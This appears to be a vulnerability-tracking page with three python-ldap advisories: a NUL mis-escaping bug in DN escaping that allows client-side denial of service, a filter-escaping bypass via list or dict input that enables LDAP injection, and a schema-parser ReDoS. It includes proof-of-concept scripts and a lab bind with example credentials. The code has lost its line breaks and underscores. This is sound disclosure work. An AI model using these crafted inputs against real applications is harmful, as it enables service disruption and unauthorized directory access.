See how python-ldap compares to other vendors in security performance
Summary
ldap.dn.escapednchars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.
Details
Affected function: ldap.dn.escapednchars(s)
File: Lib/ldap/dn.py
Buggy behavior: For NUL, the function does:
s = s.replace('\000', '\\\000') # backslash + literal NUL
This produces Python strings which, when passed to python-ldap APIs (e.g., adds, modifys, renames, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O. With correct RFC-4514 encoding (\00), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.
Why it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.
Standards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.
Minimal fix: Escape NUL as hex:
s = s.replace('\x00', r'\00')
PoC
Prereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.
import ldap from ldap.dn import escapednchars, str2dn
l = ldap.initialize("ldap://10.0.1.11") # your lab DC/LDAP l.protocolversion = 3 l.setoption(ldap.OPTREFERRALS, 0) l.simplebinds(r"DSEC\dani.aga", "PassAa1")
--- Attacker-controlled value contains NUL --- cn = "bad\0name" escapedcn = escapednchars(cn) dn = f"CN={escapedcn},OU=Users,DC=dsec,DC=local" attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]
print("=== BUGGY DN (contains literal NUL) ===") print("escapedcn repr:", repr(escapedcn)) print("dn repr:", repr(dn)) print("contains NUL?:", "\x00" in dn, "at index:", dn.find("\x00"))
print("=> adds(buggy DN): expected client-side failure (no server contact)") try: l.adds(dn, attrs) print("adds(buggy): succeeded (unexpected)") except Exception as e: print("adds(buggy):", type(e).name, e) # ValueError: embedded null character
--- Correct hex escape demonstrates the client proceeds to the server --- safedn = dn.replace("\x00", r"\00") # RFC 4514-compliant print("\n=== HEX-ESCAPED DN (\\00) ===") print("safedn repr:", repr(safedn)) print("=> sanity parse:", str2dn(safedn)) # parses locally
print("=> adds(safe DN): reaches server (AD will likely reject with 34)") try: l.adds(safedn, attrs) print("adds(safe): success (unlikely without required attrs/rights)") except ldap.LDAPError as e: print("adds(safe):", e.class.name, e) # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)
Observed result (example):
adds(buggy): ValueError embedded null character ← client-side DoS
adds(safe): INVALIDDNSYNTAX (result 34, BADNAME) ← request reached server; rejection due to server policy, not client bug
Impact
Type: Denial of Service (client-side).
Who is impacted: Any application that uses ldap.dn.escapednchars() to build DNs from (partially) untrusted input—e.g., user creation/rename tools, sync/ETL jobs, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with \x00 reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.
Summary The sanitization method ldap.filter.escapefilterchars can be tricked to skip escaping of special characters when a crafted list or dict is supplied as the assertionvalue parameter, and the non-default escapemode=1 is configured.
Details The method ldap.filter.escapefilterchars supports 3 different escaping modes. escapemode=0 (default) and escapemode=2 happen to raise exceptions when a list or dict object is supplied as the assertionvalue parameter. However, escapemode=1 happily computes without performing adequate logic to ensure a fully escaped return value.
PoC >> import ldap.filter Exploitable >> ldap.filter.escapefilterchars(["abc@()/xyz"], escapemode=1) 'abc@()/xyz' >> ldap.filter.escapefilterchars({"abc@()/xyz": 1}, escapemode=1) 'abc@()/xyz' Not exploitable >> ldap.filter.escapefilterchars("abc@()/xyz", escapemode=1) 'abc@\\2a\\28\\29\\2fxyz' >> ldap.filter.escapefilterchars(["abc@()/xyz"], escapemode=0) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/local/lib64/python3.12/site-packages/ldap/filter.py", line 41, in escapefilterchars s = assertionvalue.replace('\\', r'\5c') ^^^^^^^^^^^^^^^^^^^^^^^ AttributeError: 'list' object has no attribute 'replace' >> ldap.filter.escapefilterchars(["abc@()/xyz"], escapemode=2) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/local/lib64/python3.12/site-packages/ldap/filter.py", line 36, in escapefilterchars r.append("\\%02x" % ord(c)) ^^^^^^ TypeError: ord() expected a character, but string of length 11 found Impact If an application relies on the vulnerable method in the python-ldap library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them.
With Python being a dynamically typed language, and the commonly used JSON format supporting list and dict, it is to be expected that Python applications may commonly forward unchecked and potentially malicious list and dict objects to the vulnerable sanitization method.
The vulnerable escapemode=1 configuration does not appear to be widely used.
Suggested Fix Add a type check at the start of the ldap.filter.escapefilterchars method to raise an exception when the supplied assertionvalue parameter is not of type str.
python-ldap before 3.4.0 is vulnerable to a denial of service when ldap.schema is used for untrusted schema definitions, because of a regular expression denial of service (ReDoS) flaw in the LDAP schema parser. By sending crafted regex input, a remote authenticated attacker could exploit this vulnerability to cause a denial of service condition.